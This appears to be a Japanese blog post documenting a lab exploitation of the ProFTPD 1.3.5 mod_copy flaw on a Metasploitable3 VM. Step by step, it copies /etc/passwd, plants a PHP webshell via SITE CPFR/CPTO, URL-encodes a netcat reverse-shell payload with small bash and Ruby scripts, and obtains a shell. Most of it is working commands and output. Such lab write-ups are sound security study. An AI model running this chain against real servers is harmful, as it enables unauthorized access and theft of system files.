0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Metasploitable3 ProFTPDの脆弱性

Last updated at Posted at 2025-05-05

Metasploitable3をOpenVASで脆弱性スキャンを行った結果、ProFTPDの脆弱性があるという結果があったため、検証します。
スクリーンショット 2025-05-05 143337.png
Metasploitable3のIPアドレス:192.168.56.123

検証

ProFTPD のモジュールであるmod_copyが一部のSITEコマンドを処理する際に、リモートから任意のファイルをコピー可能な脆弱性ということです。
telnetでProFTPDにアクセスします。

$telnet 192.168.56.123 21
Trying 192.168.56.123...
Connected to 192.168.56.123.
Escape character is '^]'.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.56.123]

/etc/passwdを/tmp/passwd.txtとして、コピーします。

site cpfr /etc/passwd 
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.txt
250 Copy successful

コピーできました。
Metasploitable3 ファイルアップロードの脆弱性でアップロードしたwebshell.phpで確認します。
ブラウザで、http://192.168.56.123/uploads/webshell.php?cmd=cat%20/tmp/passwd.txtにアクセスします。
スクリーンショット 2025-05-05 145142.png
コピーされたことが、確認できました。

追記

Metasploitを使用して検証した結果を手動でも行ってみました。
Metasploitでは、この脆弱性を使用して、WebShellを作成して、そのWebShellを使って、リバースシェルで接続しています。

telnet 192.168.56.123 21
Trying 192.168.56.123...
Connected to 192.168.56.123.
Escape character is '^]'.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.56.123]
SITE CPFR /proc/self/cmdline
350 File or directory exists, ready for destination name
SITE CPTO /tmp/.<?php passthru($_GET['cmd']);?>
250 Copy successful
SITE CPFR /tmp/.<?php passthru($_GET['cmd']);?>
350 File or directory exists, ready for destination name
SITE CPTO /var/www/html/webshell.php
250 Copy successful
quit
221 Goodbye.
Connection closed by foreign host.

WebShellを作成できました。
動作確認します。

curl http://192.168.56.123/webshell.php?cmd=id
proftpd: 192.168.56.10:37808: SITE CPTO /tmp/.uid=33(www-data) gid=33(www-data) groups=33(www-data)

リバースシェルのペイロードを作成します。

msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.56.10 LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 91 bytes
mkfifo /tmp/uvtf; nc 192.168.56.10 4444 0</tmp/uvtf | /bin/sh >/tmp/uvtf 2>&1; rm /tmp/uvtf

netcatで、ポート4444で待ち受けます。

nc -nvlp 4444
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444

ブラウザで、http://192.168.56.123/webshell.php?cmd=mkfifo /tmp/uvtf; nc 192.168.56.10 4444 0</tmp/uvtf | /bin/sh >/tmp/uvtf 2>&1; rm /tmp/uvtfにアクセスします。
netcatに応答がありません。
Metasploitの時の通信を確認すると、ブラウザが通常エンコードする文字のほかに;|&をエンコードしていましたので、ペイロードのこれらの文字をエンコードするシェルスクリプトを作成しました。

encode.sh
#!/bin/bash
result=`echo $1 | sed 's/ /%20/g'`
result=`echo $result | sed 's/;/%3b/g'`
result=`echo $result | sed 's/</%3c/g'`
result=`echo $result | sed 's/|/%7c/g'`
result=`echo $result | sed 's/>/%3e/g'`
result=`echo $result | sed 's/&/%26/g'`
echo $result

実行権限を付与します。

chmod +x encode.sh

ruby版も作ってみました。

encode.rb
#!/usr/bin/ruby
def filter_bad_chars(cmd)
  return cmd
    .gsub(/ /, '%20')
    .gsub(/;/, '%3b')
    .gsub(/</, '%3c')
    .gsub(/\|/, '%7c')
    .gsub(/>/, '%3e')
    .gsub(/&/, '%26')
end
puts filter_bad_chars(ARGV[0])
chmod +x encode.rb

先程のペイロードをエンコードします。

./encode.sh "mkfifo /tmp/uvtf; nc 192.168.56.10 4444 0</tmp/uvtf | /bin/sh >/tmp/uvtf 2>&1; rm /tmp/uvtf"
mkfifo%20/tmp/uvtf%3b%20nc%20192.168.56.10%204444%200%3c/tmp/uvtf%20%7c%20/bin/sh%20%3e/tmp/uvtf%202%3e%261%3b%20rm%20/tmp/uvtf
./encode.rb "mkfifo /tmp/uvtf; nc 192.168.56.10 4444 0</tmp/uvtf | /bin/sh >/tmp/uvtf 2>&1; rm /tmp/uvtf"
mkfifo%20/tmp/uvtf%3b%20nc%20192.168.56.10%204444%200%3c/tmp/uvtf%20%7c%20/bin/sh%20%3e/tmp/uvtf%202%3e%261%3b%20rm%20/tmp/uvtf

ブラウザで、http://192.168.56.123/webshell.php?cmd=mkfifo%20/tmp/uvtf%3b%20nc%20192.168.56.10%204444%200%3c/tmp/uvtf%20%7c%20/bin/sh%20%3e/tmp/uvtf%202%3e%261%3b%20rm%20/tmp/uvtfにアクセスします。
netcatに応答がありました。

Ncat: Connection from 192.168.56.123:42992.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?